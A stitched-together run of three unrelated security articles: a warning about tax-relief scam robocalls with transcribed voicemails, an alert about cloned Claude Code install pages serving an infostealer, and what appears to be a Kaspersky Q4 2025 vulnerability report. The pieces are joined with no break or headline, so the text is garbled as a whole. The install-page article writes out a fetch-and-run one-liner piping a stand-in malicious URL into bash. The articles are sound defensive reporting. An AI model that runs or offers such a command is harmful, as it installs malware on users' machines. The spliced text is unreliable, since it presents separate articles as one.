While Americans are sorting through paperwork to get their taxes filed in time, scammers are working overtime to grab a piece of the action.
As tax season ramps up, so does scam activity. Our telemetry shows a spike in robocalls impersonating tax resolution firms, tax relief agencies, and vaguely named “assistance centers.” These calls are designed to create urgency, fear, and confusion in the hope of pushing recipients to call back before they have time to think critically.
These robocalls typically try to collect personal information, pressure victims into paying fake tax debts, or funnel them into questionable tax-relief services.
Below are transcripts of two recent voicemail examples submitted by anonymized Scam Guard users that illustrate how these scams operate.
The scripts: different names, similar playbook
Voicemail #1
“Hi, this is <REDACTED_NAME> calling on March 3rd from the eligibility support and review division at the tax resolution assistance center. I’m contacting you because your account remains under active confirmation review. There is still an opportunity to verify your standing while this evaluation period remains open. To make this simple, we provide a direct proprietary verification line with no weight, allowing immediate access to clear and accurate information. This verification step is brief and focused strictly on determining current eligibility and available options. Please call back at 888-919-9743. Again, 888-919-9743. If this message reached you in error, please call back and press 3 to be removed”
Characteristics:
Claims to be from an “eligibility support and review division at the tax resolution assistance center.”
Says your “account remains under active confirmation review.”
Offers a “direct proprietary verification line.”
Urges quick action while the “evaluation period remains open.”
Provides a callback number and an opt-out option.
Voicemail #2
“Hi, this is <REDACTED_NAME> with professional tax associates. Today is Tuesday March 3rd. I’m calling to follow up on back taxes and missed filings. This may be our only attempt to reach you, and due to new resolution programs that are available for a limited time, we highly recommend you give us a call today. This will be your best opportunity to get a fresh start before it becomes a bigger and permanent issue. Please call us back today at 8338204216 again 8338204216. If you’ve already resolved this issue. You may disregard this message or call back using the number on your caller ID to opt out. Thank you. If you were reached in error or wish to stop future outreach, please press 8 now and you will be removed from future outreach. Thank you and we look forward to assisting you. “
Characteristics:
Claims to be with “professional tax associates.”
References “back taxes and missed filings.”
Warns this “may be our only attempt to reach you.”
Mentions “new resolution programs available for a limited time.”
Provides a callback number and opt-out instructions.
What these robocalls have in common
While the wording differs slightly, the structure and psychological tactics are nearly identical.
Both messages use generic but authoritative language:
“Eligibility support and review division”
“Tax resolution assistance center”
“Professional tax associates”
These names sound legitimate but don’t identify a specific, verifiable company. Scammers often rely on institutional-sounding phrases to create credibility without providing any real details.
Both messages also reference vague “account” problems, but neither voicemail mentions:
Your name
A specific tax year
A case number
A known agency like the IRS
Instead, they reference:
“Active confirmation review”
“Back taxes and missed filings”
“Eligibility and available options”
This vagueness is intentional. It allows the same robocall script to target thousands of people, regardless of their actual tax situation.
What you will always see with scams is urgency. Both calls attempt to rush the recipient into action:
“There is still an opportunity… while this evaluation period remains open.”
“This may be our only attempt to reach you.”
“Limited time resolution programs.”
“Call today.”
Creating urgency reduces the likelihood that someone will pause, research the number, or consult a trusted source.
The second voicemail includes the promise of a “fresh start before it becomes a bigger and permanent issue.” This is a common emotional hook, blending fear (a permanent problem) with hope (a fresh start), which can encourage impulsive callbacks.
Both messages push recipients to call a direct number rather than referencing an official website or established contact method. Legitimate tax agencies, including the IRS, do not initiate contact through unsolicited robocalls asking you to call back immediately.
Both scripts include instructions like:
“Press 3 to be removed.”
“Press 8 now and you will be removed.”
“Call back using the number on your caller ID to opt out.”
These opt-out options create an illusion of compliance and legitimacy. In reality, pressing numbers or calling back can confirm that your phone number is active, which may lead to more scam calls.
How to stay safe
Knowing how to identify scam calls is an important step. So, here are some key red flags to watch for:
No personalization
Vague agency names
Pressure to act immediately
Threat of missed opportunity
Promises of relief without verification
Instructions to call back a random 800/833/888 number
Robotic or heavily scripted tone
If a message checks at least one of these boxes, it is very likely not legitimate.
Before calling a number, verify it by visiting the official site directly.
Beware of unsolicited phone calls or emails, especially those that ask you to act immediately. Government agencies will not call out of the blue to demand sensitive personal or financial information.
Never provide sensitive personal information such as your bank account, charge card, or Social Security number over unverified channels. Instead use a secure method such as your online account or another application on IRS.gov.
Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments.
Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter. That habit turns the website into a remote control: whatever script lives at that URL runs with your permissions, often those of an administrator.
Researchers found that attackers abuse this workflow by keeping everything identical, only changing where that one‑liner actually connects to. For many non‑specialist users who just started using AI and developer tools, this method feels normal, so their guard is down.
But this basically boils down to “I trust this domain” and that’s not a good idea unless you know for sure that it can be trusted.
It usually plays out like this. Someone searches “Claude Code install” or “Claude Code CLI,” sees a sponsored result at the top with a plausible URL, and clicks without thinking too hard about it.
But that ad leads to a cloned documentation or download page: same logo, same sidebar, same text, and a familiar “copy” button next to the install command. In many cases, any other link you click on that fake page quietly redirects you to the real vendor site, so nothing else looks suspicious.
Similar to ClickFix attacks, this method is called InstallFix. The user runs the code that infects their own machine, under false pretenses, and the payload usually is an infostealer.
The main payload in these Claude Code-themed InstallFix cases is an infostealer called Amatera. It focuses on browser data like saved passwords, cookies, session tokens, autofill data, and general system information that helps attackers profile the device. With that, they can hijack web sessions and log into cloud dashboards and internal administrator panels without ever needing your actual password. Some reports also mention an interest in crypto wallets and other high‑value accounts.
Windows and Mac
The Claude Code-based campaign the researchers found was equipped to target both Windows and Mac users.
On macOS, the malicious one‑liner usually pulls a second‑stage script from an attacker‑controlled domain, often obfuscated with base64 to look noisy but harmless at first glance. That script then downloads and runs a binary from yet another domain, stripping attributes and making it executable before launching it.
On Windows, the command has been seen spawning cmd.exe, which then calls mshta.exe with a remote URL. This allows the malware logic to run as a trusted Microsoft binary rather than an obvious random executable. In both cases, nothing spectacular appears on screen: you think you just installed a tool, while the real payload silently starts doing its work in the background.
How to stay safe
With ClickFix and InstallFix running rampant—and they don’t look like they’re going away anytime soon—it’s important to be aware, careful, and protected.
Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Analyze what the command will do, before you run it.
Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
Limit the use of copy-paste for commands. Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text.
Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component.
Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!
Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
The fourth quarter of 2025 went down as one of the most intense periods on record for high-profile, critical vulnerability disclosures, hitting popular libraries and mainstream applications. Several of these vulnerabilities were picked up by attackers and exploited in the wild almost immediately.
In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged with popular C2 frameworks throughout Q4 2025.
Statistics on registered vulnerabilities
This section contains statistics on registered vulnerabilities. The data is taken from cve.org.
Let’s take a look at the number of registered CVEs for each month over the last five years, up to and including the end of 2025. As predicted in our last report, Q4 saw a higher number of registered vulnerabilities than the same period in 2024, and the year-end totals also cleared the bar set the previous year.
Total published vulnerabilities by month from 2021 through 2025 (download)
Now, let’s look at the number of new critical vulnerabilities (CVSS > 8.9) for that same period.
Total number of published critical vulnerabilities by month from 2021 to 2025< (download)
The graph shows that the volume of critical vulnerabilities remains quite substantial; however, in the second half of the year, we saw those numbers dip back down to levels seen in 2023. This was due to vulnerability churn: a handful of published security issues were revoked. The widespread adoption of secure development practices and the move toward safer languages also pushed those numbers down, though even that couldn’t stop the overall flood of vulnerabilities.
Exploitation statistics
This section contains statistics on the use of exploits in Q4 2025. The data is based on open sources and our telemetry.
Windows and Linux vulnerability exploitation
In Q4 2025, the most prevalent exploits targeted the exact same vulnerabilities that dominated the threat landscape throughout the rest of the year. These were exploits targeting Microsoft Office products with unpatched security flaws.
Kaspersky solutions detected the most exploits on the Windows platform for the following vulnerabilities:
CVE-2018-0802: a remote code execution vulnerability in Equation Editor.
CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor.
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to assume control of the system.
The list has remained unchanged for years.
We also see that attackers continue to adapt exploits for directory traversal vulnerabilities (CWE-35) when unpacking archives in WinRAR. They are being heavily leveraged to gain initial access via malicious archives on the Windows operating system:
CVE-2023-38831: a vulnerability stemming from the improper handling of objects within an archive.
CVE-2025-6218 (formerly ZDI-CAN-27198): a vulnerability that enables an attacker to specify a relative path and extract files into an arbitrary directory. This can lead to arbitrary code execution. We covered this vulnerability in detail in our Q2 2025 report.
CVE-2025-8088: a vulnerability we analyzed in our previous report, analogous to CVE-2025-6218. The attackers used NTFS streams to circumvent controls on the directory into which files were being unpacked.
As in the previous quarter, we see a rise in the use of archiver exploits, with fresh vulnerabilities increasingly appearing in attacks.
Below are the exploit detection trends for Windows users over the last two years.
Dynamics of the number of Windows users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download)
The vulnerabilities listed here can be used to gain initial access to a vulnerable system. This highlights the critical importance of timely security updates for all affected software.
On Linux-based devices, the most frequently detected exploits targeted the following vulnerabilities:
CVE-2022-0847, also known as Dirty Pipe: a vulnerability that allows privilege escalation and enables attackers to take control of running applications.
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation.
CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem.
CVE-2023-32233: another vulnerability in the Netfilter subsystem that creates a use-after-free condition, allowing for privilege escalation due to the improper handling of network requests.
Dynamics of the number of Linux users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download)
We are seeing a massive surge in Linux-based exploit attempts: in Q4, the number of affected users doubled compared to Q3. Our statistics show that the final quarter of the year accounted for more than half of all Linux exploit attacks recorded for the entire year. This surge is primarily driven by the rapidly growing number of Linux-based consumer devices. This trend naturally attracts the attention of threat actors, making the installation of security patches critically important.
Most common published exploits
The distribution of published exploits by software type in Q4 2025 largely mirrors the patterns observed in the previous quarter. The majority of exploits we investigate through our monitoring of public research, news, and PoCs continue to target vulnerabilities within operating systems.
Distribution of published exploits by platform, Q1 2025 (download)
Distribution of published exploits by platform, Q2 2025 (download)
Distribution of published exploits by platform, Q3 2025 (download)
Distribution of published exploits by platform, Q4 2025 (download)
In Q4 2025, no public exploits for Microsoft Office products emerged; the bulk of the vulnerabilities were issues discovered in system components. When calculating our statistics, we placed these in the OS category.
Vulnerability exploitation in APT attacks
We analyzed which vulnerabilities were utilized in APT attacks during Q4 2025. The following rankings draw on our telemetry, research, and open-source data.
TOP 10 vulnerabilities exploited in APT attacks, Q4 2025 (download)
In Q4 2025, APT attacks most frequently exploited fresh vulnerabilities published within the last six months. We believe that these CVEs will remain favorites among attackers for a long time, as fixing them may require significant structural changes to the vulnerable applications or the user’s system. Often, replacing or updating the affected components requires a significant amount of resources. Consequently, the probability of an attack through such vulnerabilities may persist. Some of these new vulnerabilities are likely to become frequent tools for lateral movement within user infrastructure, as the corresponding security flaws have been discovered in network services that are accessible without authentication. This heavy exploitation of very recently registered vulnerabilities highlights the ability of threat actors to rapidly implement new techniques and adapt old ones for their attacks. Therefore, we strongly recommend applying the security patches provided by vendors.
C2 frameworks
In this section, we will look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks against users during Q4 2025, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems in Q4 2025 (download)
Despite the significant footprints it can leave when used in its default configuration, Sliver continues to hold the top spot among the most common C2 frameworks in our Q4 2025 analysis. Mythic and Havoc were second and third, respectively. After reviewing open sources and analyzing malicious C2 agent samples that contained exploits, we found that the following vulnerabilities were used in APT attacks involving the C2 frameworks mentioned above:
CVE-2025-55182: a React2Shell vulnerability in React Server Components that allows an unauthenticated user to send commands directly to the server and execute them from RAM.
CVE-2023-36884: a vulnerability in the Windows Search component that allows the execution of commands on a system, bypassing security mechanisms built into Microsoft Office applications.
CVE-2025-53770: a critical insecure deserialization vulnerability in Microsoft SharePoint that allows an unauthenticated user to execute commands on the server.
CVE-2020-1472, also known as Zerologon, allows for compromising a vulnerable domain controller and executing commands as a privileged user.
CVE-2021-34527, also known as PrintNightmare, exploits flaws in the Windows print spooler subsystem, enabling remote access to a vulnerable OS and high-privilege command execution.
CVE-2025-8088 and CVE-2025-6218 are similar directory-traversal vulnerabilities that allow extracting files from an archive to a predefined path without the archiving utility notifying the user.
The set of vulnerabilities described above suggests that attackers have been using them for initial access and early-stage maneuvers in vulnerable systems to create a springboard for deploying a C2 agent. The list of vulnerabilities includes both zero-days and well-known, established security issues.
Notable vulnerabilities
This section highlights the most noteworthy vulnerabilities that were publicly disclosed in Q4 2025 and have a publicly available description.
React2Shell (CVE-2025-55182): a vulnerability in React Server Components
We typically describe vulnerabilities affecting a specific application. CVE-2025-55182 stood out as an exception, as it was discovered in React, a library primarily used for building web applications. This means that exploiting the vulnerability could potentially disrupt a vast number of applications that rely on the library. The vulnerability itself lies in the interaction mechanism between the client and server components, which is built on sending serialized objects. If an attacker sends serialized data containing malicious functionality, they can execute JavaScript commands directly on the server, bypassing all client-side request validation. Technical details about this vulnerability and an example of how Kaspersky solutions detect it can be found in our article.
CVE-2025-54100: command injection during the execution of curl (Invoke-WebRequest)
This vulnerability represents a data-handling flaw that occurs when retrieving information from a remote server: when executing the curl or Invoke-WebRequest command, Windows launches Internet Explorer in the background. This can lead to a cross-site scripting (XSS) attack.
CVE-2025-11001: a vulnerability in 7-Zip
This vulnerability reinforces the trend of exploiting security flaws found in file archivers. The core of CVE-2025-11001 lies in the incorrect handling of symbolic links. An attacker can craft an archive so that when it is extracted into an arbitrary directory, its contents end up in the location pointed to by a symbolic link. The likelihood of exploiting this vulnerability is significantly reduced because utilizing such functionality requires the user opening the archive to possess system administrator privileges.
This vulnerability was associated with a wave of misleading news reports claiming it was being used in real-world attacks against end users. This misconception stemmed from an error in the security bulletin.
RediShell (CVE-2025-49844): a vulnerability in Redis
The year 2025 saw a surge in high-profile vulnerabilities, several of which were significant enough to earn a unique nickname. This was the case with CVE-2025-49844, also known as RediShell, which was unveiled during a hacking competition. This vulnerability is a use-after-free issue related to how the load command functions within Lua interpreter scripts. To execute the attack, an attacker needs to prepare a malicious script and load it into the interpreter.
As with any named vulnerability, RediShell was immediately weaponized by threat actors and spammers, albeit in a somewhat unconventional manner. Because technical details were initially scarce following its disclosure, the internet was flooded with fake PoC exploits and scanners claiming to test for the vulnerability. In the best-case scenario, these tools were non-functional; in the worst, they infected the system. Notably, these fraudulent projects were frequently generated using LLMs. They followed a standardized template and often cross-referenced source code from other identical fake repositories.
CVE-2025-24990: a vulnerability in the ltmdm64.sys driver
Driver vulnerabilities are often discovered in legitimate third-party applications that have been part of the official OS distribution for a long time. Thus, CVE-2025-24990 has existed within code shipped by Microsoft throughout nearly the entire history of Windows. The vulnerable driver has been shipped since at least Windows 7 as a third-party driver for Agere Modem. According to Microsoft, this driver is no longer supported and, following the discovery of the flaw, was removed from the OS distribution entirely.
The vulnerability itself is straightforward: insecure handling of IOCTL codes leading to a null pointer dereference. Successful exploitation can lead to arbitrary command execution or a system crash resulting in a blue screen of death (BSOD) on modern systems.
CVE-2025-59287: a vulnerability in Windows Server Update Services (WSUS)
CVE-2025-59287 represents a textbook case of insecure deserialization. Exploitation is possible without any form of authentication; due to its ease of use, this vulnerability rapidly gained traction among threat actors. Technical details and detection methodologies for our product suite have been covered in our previous advisories.
Conclusion and advice
In Q4 2025, the rate of vulnerability registration has shown no signs of slowing down. Consequently, consistent monitoring and the timely application of security patches have become more critical than ever. To ensure resilient defense, it is vital to regularly assess and remediate known vulnerabilities while implementing technology designed to mitigate the impact of potential exploits.
Continuous monitoring of infrastructure, including the network perimeter, allows for the timely identification of threats and prevents them from escalating. Effective security also demands tracking the current threat landscape and applying preventative measures to minimize risks associated with system flaws. Kaspersky Next serves as a reliable partner in this process, providing real-time identification and detailed mapping of vulnerabilities within the environment.
Securing the workplace remains a top priority. Protecting corporate devices requires the adoption of solutions capable of blocking malware and preventing it from spreading. Beyond basic measures, organizations should implement adaptive systems that allow for the rapid deployment of security updates and the automation of patch management workflows.
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